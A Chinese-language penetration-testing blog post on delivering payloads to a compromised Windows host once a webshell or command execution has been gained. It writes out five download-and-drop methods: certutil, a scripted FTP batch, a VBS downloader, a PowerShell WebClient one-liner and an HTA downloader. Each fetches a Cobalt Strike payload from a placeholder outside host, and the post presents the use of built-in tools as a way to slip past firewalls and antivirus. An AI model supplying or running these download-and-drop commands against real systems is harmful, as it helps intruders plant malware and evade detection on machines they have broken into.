载荷上传下载落地技术

2020-05-08 16,685

前言

如果获得一台主机的webshell或者能够任意命令执行,但是想要拿下主机进行提权、权限维持或者要进行内网渗透,那就需要将载荷上传下载到主机上。下面我将介绍几种载荷上传下载的落地技术,这几种技术都巧妙的利用系统自带的工具,因此降低了防火墙和杀毒软件处理的概率。

 

0x01方法一:利用certutil下载

 什么是certutil.exe呢?

certutil.exe是一个命令行程序,作为证书服务的一部分安装。和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链,能从远程URL下载证书或者其他文件。其使用语法如下:

certutil.exe -urlcache  -split  -f  url

 所以,当我们发现一个任意命令执行漏洞或者获得webshell的时候,可以使用这种方法来下载载荷。例如:

1588149570_5ea93d4219f45.jpg

1588149663_5ea93d9fe7b35.jpg

成功将443.exe这个cs载荷上传到目标机上。

certutil.exe还可将exe文件加密并保存到txt文件中,也可将加密之后的txt解密成原来的exe文件。使用语法如下:

加密   certutil -encode 443.exe 443.txt

解密   certutil -decode 443.txt 443.exe

1588149682_5ea93db204212.jpg

那么又有了另外一种上传载荷的思路:如果有任意命令执行的漏洞,且有允许上传txt文件的地方,可以将加密之后的txt文件上传上去,然后通过任意命令执行漏洞将txt文件解密成exe文件,这样就成功将载荷上传至目标机。

 0x02方法二:利用ftp命令下载

 顾名思义,在终端利用ftp传输,访问我们一个开通ftp协议的公网主机,然后下载这个公网主机上面的载荷。但是值得注意的是,由于ftp存在交互过程,得到webshell与任意命令执行利用这种技术的方法并不一样。

如果是获取了webshell,那么我们会简单很多

1、建立连接ftp xxx.xxx.xxx.xxx

2、输入用户名

3、输入密码

4、下载载荷 get xxx.exe

5、关闭ftp连接 quit

1588149871_5ea93e6fdce03.jpg

如果是任意命令执行,为了避免交互,我们可以将ftp开启为匿名访问,利用任意命令执行漏洞用echo命令写一个批脚本,最后在ftp连接下执行这个脚本,这样就成功下载了8080.exe这个载荷

echo open xxx.xxx.xxx.xxx>>ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo ftp>> ftp.txt
echo GET 8080.exe >> ftp.txt
ftp -s:ftp.txt

0x03方法三: vbs下载

 由于vbs不需要特定的编译环境,在主机可以直接执行。所以我们编写一个可以下载载荷的vbs程序,将这个vbs程序上传到目标机,然后执行vbs程序即可下载载荷。

我们编写download.vbs程序如下,这个程序的作用就是将公网上的443.exe载荷下载到目标机上:

Set Post= CreateObject("Msxml2.XMLHTTP")

Set Shell= CreateObject("Wscript.Shell")

Post.Open"GET","http://www.xxx.xxxx.xxx/xxxx/443.exe",0

Post.Send()

Set aGet= CreateObject("ADODB.Stream")

aGet.Mode= 3

aGet.Type= 1

aGet.Open()

aGet.Write(Post.responseBody)

aGet.SaveToFile"C:\demo.exe",2


如果我们可以直接上传vbs程序那是再好不过,只需在终端执行这个程序。但是这种情况很少见,这时我们可以通过终端将这些代码通过echo命令一行一行写入download.vbs中。具体如下:

echo SetPost = CreateObject("Msxml2.XMLHTTP") >>download.vbs

echo SetShell = CreateObject("Wscript.Shell") >>download.vbs

echo Post.Open "GET","http://www.xxx.xxx.xxx/xxx/443.exe",0>>download.vbs

echo Post.Send() >>download.vbs

echo SetaGet = CreateObject("ADODB.Stream") >>download.vbs

echo aGet.Mode = 3 >>download.vbs

echo aGet.Type = 1 >>download.vbs

echo aGet.Open() >>download.vbs

echo aGet.Write(Post.responseBody) >>download.vbs

echo aGet.SaveToFile "C:\demo2.exe",2 >>download.vbs


最后在执行download.vbs这个文件

 cscript  download.vbs

这样就 将载荷成功下载到目标机上。 

0x04方法四: powershell下载

如果可以执行powershell,那就省事多了,直接执行下载命令。

powershell(new-object System.Net.WebClient).DownloadFile(http:/xxx/xxx/443.exe,’c:\demo.exe’)

1588150222_5ea93fce709c4.jpg


0x05方法五: hta下载

该方法与vbs下载原理相同,都是因为执行hta程序并不需要特定的环境,所以可以利用hta程序下载载荷。执行的方法也相同,如果能直接上传hta程序那再好不过,如果不可以那么也是通过echo命令一句话一句话写入。这里不做过的解释,给出download4.hta程序的代码。

<html>

<head>

<script>

varObject = new ActiveXObject("MSXML2.XMLHTTP");

Object.open("GET","http://www.xxx/xxx/443.exe",false);

Object.send();

if(Object.Status == 200)

{

    var Stream = newActiveXObject("ADODB.Stream");

    Stream.Open();

    Stream.Type = 1;

    Stream.Write(Object.ResponseBody);

    Stream.SaveToFile("C:\\443demo.exe",2);

    Stream.Close();

}

window.close();

</script>

<HTA:APPLICATIONID="test"

WINDOWSTATE= "minimize">

</head>

<body>

</body>  

</html>


执行这个程序,结果如下:

1588150341_5ea940453beb7.jpg

总结

我们要做的就是想办法将载荷上传到目标机上,但是如果我们只是获取webshell或者命令任意执行,并不能自由的上传文件,所以我们可以将公网作为一个媒介,在公网上上传我们的载荷,然后通过终端命令将公网上的载荷下载下来。这里我们巧妙地用到了系统自带的工具,因此降低了防火墙和杀毒软件处理的概率。


本文作者:菜鸡CaiH

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/130020.html

Tags:
评论  (0)
快来写下你的想法吧!

菜鸡CaiH

文章数:2 积分: 30

菜鸿

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号